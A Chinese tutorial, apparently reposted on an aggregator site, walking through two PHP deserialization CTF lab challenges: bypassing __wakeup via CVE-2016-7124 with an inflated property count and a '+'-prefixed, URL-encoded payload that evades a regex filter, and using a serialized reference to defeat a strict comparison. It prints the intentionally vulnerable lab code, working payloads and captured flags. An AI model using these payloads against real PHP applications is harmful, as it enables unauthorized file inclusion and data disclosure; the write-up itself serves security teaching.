当前位置: 首页 > news >正文

WEB渗透—反序列化(九)

Web渗透—反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十七、wakeup绕过

1.反序列化漏洞:CVE-2016-7124

漏洞产生原因:

        如果存在__wakeup()方法,调用unserilize()方法前则先调用__wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行

漏洞产生版本:

        PHP5<5.6.25

        PHP7<7.0.10

示例:

O:4:"test":2:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}

O:4:"test":3:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}

成员属性个数值为3,但后面实际只有v1和v2两个成员属性,此时可以绕过__wakeup()方法,不触发该方法

2.实例代码

<?php
class secret{var $file='index.php';public function __construct($file){$this->file=$file;}function __destruct(){                //destruct()在反序列化之后触发include_once($this->file);echo $flag;}function __wakeup(){                  //wakup()在反序列化之前触发$this->file='index.php';}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){highlight_file(__FILE__);
}else{if (preg_match('/[oc]:\d+:/i',$cmd)){ //判断O后面的是否为数字echo "Are you daydreaming?";}else{unserialize($cmd);}
}
//sercet in flag.php
?>

2.解题步骤

思路:

1)给$file赋值为”flag.php”,并创造序列化字符

2)把成员属性数量写成2,绕过__wakeup()魔术方法

3)绕过if判断语句,在数字6前面加一个”+”符号,并进行url加密

构造序列化字符:

编写代码构造序列化字符,并利用漏洞绕过__wakeup()魔术方法

<?php
class secret{var $file='flag.php';
}
echo serialize(new secret());
?>

O:6:"secret":1:{s:4:"file";s:8:"flag.php";}

O:6:"secret":2:{s:4:"file";s:8:"flag.php";}

绕过if判断语句:

通过审计代码发现对传入序列化字符进行了过滤(判断O后是否为字符,需要判断为否才能绕过)

将得到的序列化字符数字前加"+"符号,并进行URL加密

O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}

O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

3.回显结果

通过cmd参数进行传参,得到flag

 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}


十八、引用的利用方式

1.实例代码

<?php
include("flag.php");
class just4fun {var $enter;var $secret;
}
if (isset($_GET['pass'])) {$pass = $_GET['pass'];$pass=str_replace('*','\*',$pass);                        //当通过pass传入"*"后会被替换为"/*"
}
$o = unserialize($pass);
if ($o) {$o->secret = "*";if ($o->secret === $o->enter)                            //判断enter全等于secretecho "Congratulation! Here is my secret: ".$flag;elseecho "Oh no... You can't fool me";}
else echo "are you trolling?";
?>

2.解题步骤

目的:

构造序列化字符串,让$enter的值全等于$secrt

思路:

通过构造$pass的值pass使$enter="*";但$o为反序列化$pass后的对象,且赋值$enter="*";

可以构造序列化字符串,让$enter的值引用$enter的值

构造序列化字符:

$enter的值引用$enter的值

<?php
class just4fun {var $enter;var $secret;
}
$a = new just4fun();
$a->enter = &$a->secret; //加&符(&引用),让enter的值永远等于secret的值
echo serialize($a);
?>

O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}         //R代表引用,2代表enter

3.回显示结果

通过pass参数传入题目得到flag

 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

相关文章:

  • golang 集成logrus日志框架
  • 基于SpringBoot的旅游网站的设计与实现
  • Could not resolve all files for configuration ‘:app:androidJdkImage‘.
  • Go语言使用AES加密解密
  • 漏洞复现--致远 M3 反序列化 mobile_portal RCE
  • 原生GPT本地及云端部署方式保姆级教程
  • 嵌入式硬件基础知识——1
  • 【LabVIEW学习】3.labview制作安装程序
  • Kafka 如何实现顺序消息
  • 力扣100. 相同的树
  • redis运维(十五) 集合
  • RPA机器人如何确保敏感数据的安全性
  • 深入解析 Python 中 Parsel 的两种数据提取方式
  • NSSCTF第14页(2)
  • C语言——多种方式打印出1000之内的所有的“水仙花数”
  • ComponentOne 2017 V2版本正式发布
  • Javascript Math对象和Date对象常用方法详解
  • JavaScript实现分页效果
  • jquery ajax学习笔记
  • k8s如何管理Pod
  • Linux快速复制或删除大量小文件
  • node学习系列之简单文件上传
  • PV统计优化设计
  • rc-form之最单纯情况
  • tweak 支持第三方库
  • 给初学者:JavaScript 中数组操作注意点
  • 记录:CentOS7.2配置LNMP环境记录
  • 开发基于以太坊智能合约的DApp
  • 设计模式(12)迭代器模式(讲解+应用)
  • 我这样减少了26.5M Java内存!
  • 整理一些计算机基础知识!
  • ​3ds Max插件CG MAGIC图形板块为您提升线条效率!
  • $(selector).each()和$.each()的区别
  • (17)Hive ——MR任务的map与reduce个数由什么决定?
  • (42)STM32——LCD显示屏实验笔记
  • (Oracle)SQL优化技巧(一):分页查询
  • (pytorch进阶之路)扩散概率模型
  • (二)学习JVM —— 垃圾回收机制
  • (翻译)Quartz官方教程——第一课:Quartz入门
  • (附源码)spring boot球鞋文化交流论坛 毕业设计 141436
  • (免费领源码)Java#Springboot#mysql农产品销售管理系统47627-计算机毕业设计项目选题推荐
  • (十八)用JAVA编写MP3解码器——迷你播放器
  • (一)UDP基本编程步骤
  • (转)大道至简,职场上做人做事做管理
  • .form文件_SSM框架文件上传篇
  • .net core webapi Startup 注入ConfigurePrimaryHttpMessageHandler
  • .NET Core中的去虚
  • .NET/C# 编译期间能确定的相同字符串,在运行期间是相同的实例
  • .NET轻量级ORM组件Dapper葵花宝典
  • .net专家(张羿专栏)
  • @autowired注解作用_Spring Boot进阶教程——注解大全(建议收藏!)
  • @Controller和@RestController的区别?
  • [ CTF ]【天格】战队WriteUp- 2022年第三届“网鼎杯”网络安全大赛(青龙组)
  • [100天算法】-不同路径 III(day 73)
  • [100天算法】-实现 strStr()(day 52)